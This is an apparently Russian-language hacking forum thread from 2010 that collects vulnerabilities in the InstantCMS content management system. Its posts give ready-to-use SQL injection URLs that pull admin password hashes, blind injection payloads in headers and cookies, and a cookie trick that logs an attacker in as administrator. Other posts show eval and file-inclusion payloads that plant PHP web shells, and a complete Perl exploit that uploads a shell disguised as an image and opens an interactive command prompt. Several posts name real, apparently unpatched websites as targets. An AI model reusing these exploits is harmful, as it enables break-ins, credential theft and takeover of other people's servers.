Обзор уязвимостей InstantCMS

Discussion in 'Веб-уязвимости' started by Jerri, 8 Mar 2010.

  1. Jerri

    Jerri Level 8

    Joined:
    12 Jul 2009
    Messages:
    137
    Likes Received:
    375
    Reputations:
    22
    InstantCMS
    version : 1.5.3
    http://www.instantcms.ru/

    SQL-INJ :

    Code:
    /admin/index.php?view=components&do=config&id=6&opt=edit&item_id=-1+union+select+1,concat_ws(0x3a,user(),database() ,version()),3,4,5,6+--+
    (требуется доступ к админке.)
     
    #1 Jerri, 8 Mar 2010
    Last edited: 8 Mar 2010
    6 people like this.
  2. Jerri

    Jerri Level 8

    Joined:
    12 Jul 2009
    Messages:
    137
    Likes Received:
    375
    Reputations:
    22
    InstantCMS
    v 1.5.3

    SQL Injection

    Уязвимость в /components/photos/frontend.php

    PHP:
    if ($do=='view')

    ...
    if (isset(
    $_POST['orderby'])) 

         
    $orderby $_POST['orderby']; 
         
    $_SESSION['ph_orderby'] = $orderby;

    elseif(isset(
    $_SESSION['ph_orderby'])) 

         
    $orderby $_SESSION['ph_orderby'];

    else 
    {
         
    $orderby $album['orderby']; 
    }
                
    if (isset(
    $_POST['orderto'])) 

         
    $orderto $_POST['orderto']; 
         
    $_SESSION['ph_orderto'] = $orderto;

    elseif(isset(
    $_SESSION['ph_orderto'])) 

         
    $orderto $_SESSION['ph_orderto'];

    else 
    {
        
    $orderto $album['orderto']; 
    }
    ...
    $sql .=  " ORDER BY ".$orderby." ".$orderto." \n";
    ...
    $result $inDB->query($sql) or die(mysql_error().'<br/><br/>'.$sql);
    }
    Использование:
    передача своего запроса методом POST в http://localhost/?view=photos&do=view.
    (перед этим надо зарегистрироваться и авторизоваться)
    P.S. иньекция после order by :(
     
    #2 Jerri, 12 Mar 2010
    Last edited: 12 Mar 2010
    6 people like this.
  3. Jerri

    Jerri Level 8

    Joined:
    12 Jul 2009
    Messages:
    137
    Likes Received:
    375
    Reputations:
    22
    InstantCMS
    1.5.3


    SQL INJ

    localhost/components/forum/fronted.php
    PHP:
    if ($do=='newthread' || $do=='newpost' || $do=='editpost'){
    if (
    usrCheckAuth()){ #Вы должны быть авторизованы
    ...
    if (isset(
    $_GET['replyid'])) { $replyid $_GET['replyid']; }
    else { 
    $replyid 0; }

    if(!isset(
    $_POST['gosend'])){

    $inDB->query("DELETE FROM cms_upload_images WHERE session_id='".session_id()."'");

    if (
    $replyid){
    $sql "SELECT p.*, u.*, DATE_FORMAT(p.pubdate, '%d-%m-%Y в %H:%i') senddate FROM cms_forum_posts p, cms_users u WHERE p.id = $replyid AND p.user_id = u.id";
    $result $inDB->query($sql) ;
    }
    }
    }
    Code:
    http://localhost/?view=forum&do=newthread&replyid=-29+and+1=1+union+select+1,2,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 FROM cms_users+--+
    В жизни:
    Code:
    http://kokshetau.kz/?view=forum&do=newthread&replyid=-29+and+1=1+union+select+1,2,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25%20FROM%20cms_users+--+
    //Требуется регистрация

    SQL INJ

    Требования : доступ к админке.

    Code:
    http://localhost/admin/index.php?view=components&do=config&id=7&opt=edit&item_id=-16+and+1=1+union+select+1,2,3,4,5,6,7,password,9,10,11+from+cms_users+--+
     
    #3 Jerri, 20 Mar 2010
    Last edited: 21 Mar 2010
    4 people like this.
  4. Jerri

    Jerri Level 8

    Joined:
    12 Jul 2009
    Messages:
    137
    Likes Received:
    375
    Reputations:
    22
    InstantCMS
    1.5.3

    SQL INJ

    components/users/frontend.php
    PHP:
    if ($do=='sendmessage'){
    if (
    usrCheckAuth() && $inUser->id!=$id){
    ...
    if (
    $usr || isset($_POST['massmail'])){
    if (
    usrCheckAuth()){
    ...
    if (isset(
    $_GET['replyid'])) { $replyid $_GET['replyid']; }
      else { 
    $replyid 0; }
    ...
    if (
    $replyid){
    $sql "SELECT m.*, u.* FROM cms_user_msg m, cms_users u WHERE m.id = $replyid AND m.from_id = u.id AND m.to_id = $from_id";
    $result $inDB->query($sql) ;
    Требования :
    Вы должны быть авторизованы

    Использование:
    Code:
    <form action="http://localhost/?view=users&do=sendmessage&replyid=-100+and+1=1+union+select+1,2,3,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+cms_users+--+" method="post">
    <input name="massmail" value="1">
    <input type="submit" value="Send">
    </form>
    
     
    #4 Jerri, 23 Mar 2010
    Last edited: 23 Mar 2010
    4 people like this.
  5. Jerri

    Jerri Level 8

    Joined:
    12 Jul 2009
    Messages:
    137
    Likes Received:
    375
    Reputations:
    22
    InstantCMS
    1.5.3

    SQL INJ

    В админке:

    1.
    Code:
    http://test1.ru/admin/index.php?view=components&do=config&link=banners&opt=edit&item_id=-100+and+1=1+union+select+1,2,3,4,5,6,7,8,9,10,password,12,13+from+cms_users+--+
    2.
    Code:
    http://test1.ru/admin/index.php?view=components&do=config&link=board&opt=edit_cat&item_id=-100+union+select+1,2,3,4,5,6,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+cms_users--+
    Ну и таких однотипных уязвимостей в админке множество.

    P.S.
    Раскрытие пути

    Code:
    http://localhost/admin/modules/mod_arhive/backend.php
     
    4 people like this.
  6. Sc0rpi0n

    Sc0rpi0n Banned

    Joined:
    23 Feb 2010
    Messages:
    75
    Likes Received:
    22
    Reputations:
    16
    Blind SQL-Injection

    Blind SQL-Injection
    /componets/catalog/fronted.php

    PHP:
    if (isset($_POST['orderby'])) {
                    
    $orderby $_POST['orderby'];
                ...
                }

                if (isset(
    $_POST['orderto'])) {
                    
    $orderto $_POST['orderto'];
                 ...
                }

                
    $sql .=  " ORDER BY ".$orderby." ".$orderto;

                
    $result $inDB->query($sql);
    Code:
    POST http://instantcms/catalog/23/1 HTTP/1.0
    Host: instantcms
    Content-Type: application/x-www-form-urlencoded
    Content-length: 65
    
    orderby=(i.id* IF (ASCII(SUBSTRING(version(),1,1))=53,1,-1)) -- 
     
    #6 Sc0rpi0n, 27 Mar 2010
    Last edited: 5 Jun 2010
    3 people like this.
  7. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    1.5.3
    LFI + Eval Code Execution!
    /admin/includes/cp.php
    PHP:
    ...function cpProceedBody(){
        
        
    ob_start();
        
        
    $link str_replace('/'''$GLOBALS['applet']);
        
    $link str_replace(':'''$link);
        
    $link str_replace('-'''$link);
        
    $file $link '.php';
        include(
    'applets/'.$file);
        eval(
    'applet_'.$link.'();');
        
        
    $GLOBALS['cp_page_body'] = ob_get_clean();
        
    }...
    Result:
    http://instant/admin/index.php?view=cats[lfi]

    Example:
    http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess[. т.д]
    http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess%00

    Модуль может быть другой!

    Условие:
    - админка;
    - только \.
     
    #7 Strilo4ka, 5 Apr 2010
    Last edited: 5 Apr 2010
    2 people like this.
  8. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,138
    Reputations:
    350
    А чем вам не нравится eval ? Я код не качал, но исходя из того, что вижу, он должен работать:

    ?applet=;system('ls');rand

    Или там что-то мешает?

    PS
    И кстати, да у меня тут хакеры спрашивают WTF???
    $link= str_replace('/', '', $GLOBALS['applet']);
    а потом
    view=cats\..\..\..\..\.htaccess

    Выкладывай весь необходимый код, ибо нихрена не понятно
     
    #8 Kakoytoxaker, 5 Apr 2010
    Last edited: 5 Apr 2010
    8 people like this.
  9. Sc0rpi0n

    Sc0rpi0n Banned

    Joined:
    23 Feb 2010
    Messages:
    75
    Likes Received:
    22
    Reputations:
    16

    /admin/index.php

    PHP:

    if (isset($_REQUEST['view'])){
            
    $GLOBALS['applet'] = $_REQUEST['view'];
        } else {
            
    $GLOBALS['applet'] = 'main';

    http://test/admin/index.php?view=;phpinfo();rand
     
    #9 Sc0rpi0n, 5 Apr 2010
    Last edited: 5 Jun 2010
    4 people like this.
  10. S00pY

    S00pY Active Member

    Joined:
    24 Apr 2007
    Messages:
    91
    Likes Received:
    109
    Reputations:
    21
    Просто Джокестр,не смотрел код, там в индексе
    PHP:
    if(isset($_REQUEST['view']))
    {          
    $GLOBALS['applet'] = $_REQUEST['view'];      
    } else 
    {          
    $GLOBALS['applet'] = 'main';      
    }
    Эм сорри, опередил Скорп :)
     
    4 people like this.
  11. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    Blind Sql inj v.1.5.3
    index.php
    PHP:
    ...
    $inCore->onlineStats();   //обновляем статистику посещений сайта
    ...
    /core/classes/db.class.php
    PHP:
    ...
    public function 
    query($sql){
        
    $inConf cmsConfig::getInstance();
        
    $sql $this->replacePrefix($sql);
        
    $result mysql_query($sql$this->db_link);

        if (
    $inConf->debug){
            
    $this->q_count  += 1;
            
    $this->q_dump   .= '<pre>'.$sql.'</pre><hr/>';
        }

        if (
    mysql_error() && $inConf->debug){
            die(
    '<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
        }
        
        return 
    $result;
    }...
    /core/cms.php
    PHP:
    ...
    //собираем информацию о текущем пользователе
            
    $sess_id    session_id();
            
    $ip         $_SERVER['REMOTE_ADDR'];
            
    $useragent  $_SERVER['HTTP_USER_AGENT'];
            
    $page       $_SERVER['REQUEST_URI'];
            
    $refer      = @$_SERVER['HTTP_REFERER'];
    ...
    PHP:
    ...
    if (@
    $_CFG['stats']){ //если включен сбор статистики на сайте
                //смотрим, есть ли запись про текущего пользователя
                
    $sql "SELECT id FROM cms_stats WHERE (ip = '$ip' AND page = '$page')";
                
    $result $inDB->query($sql) ;
                
    //если записи нет - добавляем
                
    if (!$inDB->num_rows($result)){
                    
    $sql "INSERT INTO cms_stats (ip, logdate, page, agent, refer) VALUES ('$ip', NOW(), '$page', '$useragent', '$refer')";
                    
    $inDB->query($sql) ;
                }
            }...
    @$_CFG['stats'] - перемененная по умолчанию выключена, но если админ собирает статистику, то нам очень повезло! Можна крутить как blind SQL ing ):
    Надо :
    /includes/config.inc.php
    PHP:
    ...$_CFG['stats']     = '1';...
    Если включена еще $_CFG['debug']=1, то нам повезло вдвойне!Можна крутить как blind SQl ing через ошибку!
    В даном случае будет такое вот сообщение:
    Условия:
    - включена переменная сбора статистики (лучше когда еще и отладки!);
    - бегать по разным страницам || с разных ИП;
    - mg=off.

    Jokester : Где эксплуатация?
     
    #11 Strilo4ka, 5 Apr 2010
    Last edited: 5 Apr 2010
    2 people like this.
  12. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    Вот она:
    в User_Agent:
    hack', (select * from (select name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1),name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1))x))/*

    С бинарным поиском надо писать ескплоит разве что!
     
    #12 Strilo4ka, 5 Apr 2010
    Last edited: 5 Apr 2010
    2 people like this.
  13. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    123

    Релиз версии 1.6
    22 апреля 2010


    blind SQL inj & обход авторизации

    Предыдущая тоже.

    core/classes/user.class.php
    PHP:
    ...public function autoLogin(){

            
    $inDB       cmsDatabase::getInstance();
            
    $inCore     cmsCore::getInstance();
            
            if (
    $inCore->getCookie('userid') && !$this->id){

                
    $cookie_code $inCore->getCookie('userid');

                
    $sql "SELECT * FROM cms_users WHERE md5(CONCAT(id, password)) = '$cookie_code' AND is_deleted=0 AND is_locked=0";
                
    $res $inDB->query($sql);

                if(
    $inDB->num_rows($res)==1){
                    
    $userrow $inDB->fetch_assoc($res);
                    
    session_register('user');
                    
    $_SESSION['user'] = self::createUser($userrow);
                    
    cmsCore::callEvent('USER_LOGIN'$_SESSION['user']);
                    
    $inDB->query("UPDATE cms_users SET logdate = NOW() WHERE id = ".$_SESSION['user']['id']);
                    
    $this->resetStatTimer();
                } else {
                    
    $inCore->unsetCookie('user_id');
                }

            }

            return 
    true;

        }...
    core/cms.php
    PHP:
    ...public function getCookie($name){
            if (isset(
    $_COOKIE['InstantCMS'][$name])){
                return 
    $_COOKIE['InstantCMS'][$name];
            } else {
                return 
    false;
            }
        }...
    core/classes/db.class.php
    PHP:
    .../////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    public function query($sql$ignore_errors=false){
        
    $inConf cmsConfig::getInstance();
        
    $sql $this->replacePrefix($sql);
        
    $result mysql_query($sql$this->db_link);

        if (
    $inConf->debug){
            
    $this->q_count  += 1;
            
    $this->q_dump   .= '<pre>'.$sql.'</pre><hr/>';
        }

        if (
    mysql_error() && $inConf->debug && !$ignore_errors){
            die(
    '<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
        }
        
        return 
    $result;
    }...
    Как видно здесь блинд & обход авторизации (можно так сказать).
    Устанавливаем в куки ; InstantCMS[userid]=antichat' or group_id=2/*

    group_id=2 - група админов поидеи!
    В детали не уходил, ну у меня в таблице в админа 2 .
    Появляються линки в панели, доступные для админа и можно смело заходить, тока не сразу, сессионные куки тока установляться. Заходим на любой линк ):.

    Вот так будет точнее, потому что надо чтоб запрос вернул одну запись.
    В одной групе может быть много админов, и кука выше толку не даст!:
    ; InstantCMS[userid]=antichat' or 1=1 limit 0,1/*
    Если попался не админ, то крутим limit.

    Мы админ, мои приветствия!

    Блинд можно бистрее крутить через ошибку если cms крутиться в режиме отладки.
    Выше в посте о блинде в предыдущей версии было названа переменная, которая отвечает и где находиться.

    target: index.php (та й в принцыпе любая!)

    Дорк: InstantCMS

    Условие: mg=off

    пример ис жызни:
    http://instant-cms.ru
    ; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

    http://lig.com.ua/
    в режиме отладки.
    ; InstantCMS[userid]=12345' or 1=1 limit 0,1#

    http://bboldino.ru
    ; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

    http://www.combatshop.biz
    ; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

    в режиме отладки!
    http://expo.sec4all.info
    ; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

    Баги не пофиксены.
    Code Execution + LFI(Win) и Blind SQL inj описаны в постах выше.

    Result:
    http://www.instant/admin/index.php?url=Location:+index.php&f=css/1.php&cod=%3C?+system($_GET[cmd]);+?%3E&view=;file_put_contents($_GET[f],$_GET[cod]);header($_GET);rand http://www.instant/admin/...аманить авторизованого админа[/U]! [/INDENT]​
     
    #13 Strilo4ka, 24 Apr 2010
    Last edited: 24 Apr 2010
    8 people like this.
  14. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    InstantCMS <=== 1.5.3 LFI
    Выкладываю свою прошлогоднюю, но интересную находку. В последней недавней версии дыра залатана
    PHP:
    ................
    if (isset(
    $_REQUEST['do'])){ $do $_REQUEST['do'];    } else { $do 'rss';         }
        if (isset(
    $_REQUEST['target'])){ $target $_REQUEST['target'];    } else { die(); }
        if (isset(
    $_REQUEST['item_id'])) { $item_id $_REQUEST['item_id']; } else { die(); }

        if (!isset(
    $cfg['addsite'])) { $cfg['addsite'] = 1; }
        if (!isset(
    $cfg['icon_on'])) { $cfg['icon_on'] = 0; }
        if (!isset(
    $cfg['maxitems'])) { $cfg['maxitems'] = 50; }

    ////////////////////// RSS /////////////////////////////////////////////////////////////////////////////////////////////////
    if ($do=='rss'){
        
    $rss '';
        
        if (
    file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
            
            
    $inCore->includeFile('components/'.$target.'/prss.php');
            
            eval(
    'rss_'.$target.'($item_id, $cfg, $rssdata);');
    .............    
    Need: MQ=OFF
    Как юзать:
    передаем item_id, чтобы не вызвать die и evil file через target.
    далее можно залить "картинку" в профиле и сделать инклуд.
    http://localhost/components/rssfeed/frontend.php?item_id=1&target=evilfile%00
    Для удобства написал сплоент дающий выполнение системных команд через LFI.
    Работает безотказанно =)
    CODE EXECUTION

    Code:
    #!/usr/bin/perl
    ######################
    # Подключим библиотеки
    ######################
    use LWP::UserAgent;
    use HTTP::Cookies;
    use Getopt::Std;
    use HTTP::Request::Common;
    use Time::HiRes qw(sleep);
    #####################
    # Зададим параметры
    #####################
    getopt("d:h:u:p");
    if (!$opt_h) {
    &logo(); 
    exit();
    }
    if (!$opt_d) {
    &logo(); 
    exit();
    }
    if (!$opt_u) {
    &logo(); 
    exit();
    }
    if (!$opt_p) {
    &logo(); 
    exit();
    }
    $host=$opt_h;
    $dir=$opt_d;
    $user=$opt_u;
    $password=$opt_p;
    $page2="index.php";
    $page1="core/auth.php";
    $page11="login";
    
    $ereg = '<cmd>(.*?)<\/cmd>';
    $cmd="echo matrix";
    $fucking_shell='<cmd><?php system($_REQUEST[cmd]); ?></cmd>';
    $exit="exit";
    ######################
    #   Лицо                    
    #####################
    # 
    
    sub logo() 
    {
    print
    "\t\t
     ###########################################################################
     ############          INSTANT CMS <=== 1.5.3 remote code execution        #
     ############             coddddeeddd by The matrix (antichat.ru)          #
     ###########################################################################
     # usage: exploit.pl                                                       # 
     #-h [host]                                                                #
     # -d[path with site]                                                      #
     # -u [login]                                                              #
     # -p [password]                                                           #
     # exploit.pl -h http://site -d / -u evil -p qwer                          #
     #      !!!!!!!! NEEEEED MAGIC_QUOTES_GPC=OFF                              # 
     #                                                                         #
     #                                                                         # 
     ###########################################################################\n\n";
    }
    #############################
    # аутификация                       
    #############################
    sub auth() {
    		print"[~]login\n";
    		my $browser = LWP::UserAgent->new;
    		$client = LWP::UserAgent->new();
    		$cookie_jar = HTTP::Cookies->new();
    		$client->cookie_jar($cookie_jar);
    		$op='ok';
    	
    		$answer=$client->post(
    		"http://".$host.$dir.$page1,
    				[
    				'login' => $user,
    				'pass' => $password,
    				'Submit'=> $op
    				]
    );
    }
    sub auth2() {
    		print"[~]login\n";
    		my $browser = LWP::UserAgent->new;
    		$client = LWP::UserAgent->new();
    		$cookie_jar = HTTP::Cookies->new();
    		$client->cookie_jar($cookie_jar);
    		$op='ok';
    	
    		$answer=$client->post(
    		"http://".$host.$dir.$page11,
    				[
    				'login' => $user,
    				'pass' => $password,
    				'Submit'=> $op
    				]
    );
    }
    #############################
    # тест печенюшек        
    #############################
    #
    
    	sub test() {
    	$response = $client->get("http://".$host.$dir.$page2
    	);
    	$ans = $response->content;
    	if ($ans =~ /logout/){
    	print"[+]login complete";
    	}
    else{
    	print "\n[-]login failed...Ok...Time for plan B...";
    	$debug=1;
    }
    	}
    
    
    	sub test2() {
    	$response = $client->get("http://".$host.$dir.$page2
    	);
    	$ans = $response->content;
    	if ($ans =~ /logout/){
    	print"[+]login complete";
    	}
    else{
    	print "\n[-]login failed. check you account";
    	exit();
    }
    	}
    		
    
    #######################
    # Get id
    #######################
    sub id {
    print "\n[~] Getting id";
    	$response = $client->get("http://".$host.$dir.$page2
    	);
    	$ans = $response->content;
    if ($ans =~ /users\/0\/(.*?)\/profile.html/) {
    $id=$1;
    print "\n[+] Yes, id = $id";
    $page3="users/0/".$id."/addphoto.html";
    }
    	else {
    	print "\nfailed get id";
    	exit()
    	}
    }
    #######################
    # Upl0ad fucking shell
    #######################
    
    sub main {
    print "\n[~]Uploading...";
    $response = $client->request(POST "http://".$host.$dir.$page3,
    Content_Type => 'multipart/form-data', 
    Content   =>
    [
    upload => 1,
    userid => $id,
    picture =>
    	[
    		undef,
    		"123.jpg",
    		content => $fucking_shell,
    		"Content-Type"	=> "image/gif"
    	]
    ]);
    $ans = $response->content;
    open(F1,"> one.txt");
    print (F1 "$ans");
    	print "\n[~]Get some fucking image hash";
    	if ($ans =~ /name="imageurl" value="(.*?)"/) {
    	print "\n[+]image hash = $1";
    $hash=$1;
    	}
    	}
    ########################
    # CODE EXECUTION Test!
    ########################
    sub exec {
    $page4="components/rssfeed/frontend.php?item_id=1&target=../images/users/photos/$hash%00";
    print "\n[~] Testing code execution";
    	$response = $client->post("http://".$host.$dir.$page4,
    Content_Type => 'multipart/form-data',
    content =>
    [ 
    cmd => $cmd
    ]
    	);
    $ans = $response->content;
    if ($ans =~ /matrix/) {
    $expl0it3d=1;
    print "\n[+] Target has been Exp0it3d!!!!!!!!";
    }
    	else
    	{
    		print "\n[-]sorry magic_quotes=on or cms unvulnerable";
    	}
    }
    
    
    &logo();
    &auth();
    &test();
    if ($debug==1) {
    &auth2();
    &test2();
    	}
    &id();
    &main();
    &exec();
    ########################
    #Счастье
    ########################
    if($expl0it3d == 1) {
    while($cmd !~ /^exit$/i) {
    print "\ncmd-line\#:";
    $cmd=<STDIN>;
    chomp $cmd;
    $response = $client->post("http://".$host.$dir.$page4,
    Content_Type => 'multipart/form-data',
    content =>
    [ 
    cmd => $cmd
    ]
    	);
    $ans = $response->content;
    if ($ans =~/$ereg/si) {
    print "$1";
    }
    else {
    print "what the fuck????";
    }
    }
    	}
    
    		
    // почитал статью с ][ оказываетсяSpyder нашел баг первее хек;)
     
    #14 The matrix, 6 May 2010
    Last edited: 25 Jun 2010
    8 people like this.
  15. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    2Strilo4ka
    MQ слеширует в GPC. А $_SERVER['HTTP_USER_AGENT'] тронут не будет. Так что эта бага не такая уж и бесполезная, как кажется на первый взягляд=)
     
  16. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    Это понятно... Очепятка была что в условии написал.
     
  17. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    Еще раз возвращаемся к єтой CMS.

    Cмотрим админку в самой последней версии.
    /admin/includes/cp.php
    PHP:
    function cpProceedBody(){
        
        
    ob_start();
        
        
    $link str_replace('/'''$GLOBALS['applet']);
        
    $link str_replace(':'''$link);
        
    $link str_replace('-'''$link);
        
    $file $link '.php';
        include(
    'applets/'.$file);
        eval(
    'applet_'.$link.'();');
        
        
    $GLOBALS['cp_page_body'] = ob_get_clean();
        
    }
    Как видно, баг не пофиксен.

    Искал уязвимости, но увилел запись в сесcию и неоставил без внимания.
    /components/price/cart.php
    PHP:
        define("VALID_CMS"1);    
        
    session_start();

        include(
    '../../includes/config.inc.php');            //configuration
        
    include('../../includes/database.inc.php');        //database connection
        
    include('../../core/cms.php');                    //CMS engine
        
        
    if (isset($_REQUEST['addtocart'])){
        
            if(!isset(
    $_SESSION['cart'])) { session_register('cart'); $_SESSION['cart'] = array(); }
        
            foreach(
    $_REQUEST as $key=>$value){
                if (
    strpos($key'item')===0){
                    if(isset(
    $_SESSION['cart'][$value])){
                        
    $_SESSION['cart'][$value] += $_REQUEST['kolvo'][$value];
                    } else {
                        
    $_SESSION['cart'][$value] = $_REQUEST['kolvo'][$value];
                    }
                }
            }
            
    header('location:/price/cart.html');
        }

        if (isset(
    $_REQUEST['clearcart'])){
            
    $_SESSION['cart'] = '';
            
    session_unregister('cart');
            
    header('location:/price/cart.html');
        }
    Результат:
    Пишем в сесию выполнение eval.
    PHPSESSID=c44e2475683109ef2da34559883edc2f
    _http://[host]/[path]/components/price/cart.php?addtocart&item=e&kolvo[e]=<? $handle = fopen('b.php', 'w');fwrite($handle, '<? eval(stripslashes($_REQUEST[f])); ?>');fclose($handle); ?>

    После CSRF в админке

    Win
    _http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=Z:\tmp\sess_c44e2475683109ef2da34559883edc2f
    Диск на винде можно, например, с константы __FILE__ выдрать.

    Unix
    _http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=/tmp/sess_c44e2475683109ef2da34559883edc2f


    Имеем выполнение кода для нас
    _http://[host]/[path]/admin/b.php?f=phpinfo();


    плюс - не надо задевать другие ресурсы, тоесть вся информация крутиться на целевом сервере!

    Можно заюзать LFI The matrix. Посмотрел в 1.5.2 файл cart.php - такой же ):​
     
    #17 Strilo4ka, 8 May 2010
    Last edited: 8 May 2010
    5 people like this.
  18. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    0day

    минуточку внимания.
    Instant cms.
    Множественные sql инъекции
    Применимо:Для всех версии(на сегодня последняя 1.6).
    Sql inj много как в insert, как в Update так и в select запросах. Рассмотрим одну из них, повкуснее, для которой не требуется ни RG=ON не MQ=off!!!
    Постараюсь рассказать процесс и его суть в точности как он проходил у меня

    идем в раздел блогов, новостей или статей. Выбираем произвольный блог статью или новость. Я выбрал новость. Под новостью приведена вставка модуля голосования. Тыкаем на кнопочку "Одобрить". И снифаем пакет. Получилось:
    Code:
    POST /core/ajax/karma.php HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
    Host: localhost
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
    Cookie: PHPSESSID=b1d2ebf29a56a9d67ad9c792526ea4f7
    Cookie2: $Version=1
    Proxy-Connection: Keep-Alive
    Content-Transfer-Encoding: binary
    Content-Length: 39
    
    cd=1&opt=plus&target=content&item_id=20
    POST'ом перекинули значения на /core/ajax/karma.php
    вот са фак:
    Сорри. Забегу вперед. С этими переменными мы будем иметь дело, код говорит нам о ненужности RG.
    /core/ajax/karma.php
    PHP:
        if (!isset($_REQUEST['target'])) { die(2); } else { $target $_REQUEST['target']; }
        if (!isset(
    $_REQUEST['item_id'])) { die(3); } else { $item_id $_REQUEST['item_id']; }    
        if (!isset(
    $_REQUEST['opt'])) { die(4); } else { $opt $_REQUEST['opt']; }
    теперь функции
    PHP:
    if (!$inUser->update()) { $inCore->halt(); }
    ................................
        
    $inCore->loadLib('karma');
        
        if (
    $opt=='plus'){
            
    cmsSubmitKarma($target$item_id10);
        }
        if (
    $opt=='minus'){
            
    cmsSubmitKarma($target$item_id, -1);
        }

        
    $postkarma cmsKarma($target$item_id);
    ...........................
    Роем скрипты и смотрим где объявляются функции loadLib() и cmsKarma(); // найти мне помогла тузла от raz0r'a.
    /core/cms.php
    PHP:
        public function loadLib($lib){
            
    $libfile PATH.'/core/lib_'.$lib.'.php';
            if (
    file_exists($libfile)){
                include_once(
    $libfile);
                return 
    true;
            }
    понятно. Значит
    $inCore->loadLib('karma');
    подгрузит нам:
    /core/lib_karma.php
    Значит что тут.
    /core/lib_karma.php
    PHP:
    function cmsKarma($target$item_id){ //returns array with total votes and total points of karma
        
    $inDB cmsDatabase::getInstance();
        
    $sql "SELECT *, SUM(points) as points, COUNT(id) as votes
                FROM cms_ratings 
                WHERE item_id = 
    $item_id AND target='$target'
                GROUP BY item_id"
    ;
        
    $result $inDB->query($sql);
        if (
    $inDB->num_rows($result)){
            
    $data $inDB->fetch_assoc($result);
            
    $data['points'] = round($data['points'], 2);
        } else {
            
    $data['points'] = 0;
            
    $data['votes'] = 0;
        }    
        return 
    $data;
    }
    Вот и запрос. Судя по karma.php и lib_karma.php $item_id и $target не обрабатываются. Инэектить мы будем $item_id тк в запросе он не обрамлен кавычками, а значит мы обойдем MQ =)
    Вернемся к нашему отснифаному пакету. И модифицируем его так:
    Code:
    POST /core/ajax/karma.php HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
    Host: localhost
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
    Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))#
    Cookie2: $Version=1
    Proxy-Connection: Keep-Alive
    Content-Transfer-Encoding: binary
    Content-Length: 39
    
    cd=&opt=plus&target=conten
    Это логическая единица.
    Code:
    POST /core/ajax/karma.php HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
    Host: localhost
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
    Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))#
    Cookie2: $Version=1
    Proxy-Connection: Keep-Alive
    Content-Transfer-Encoding: binary
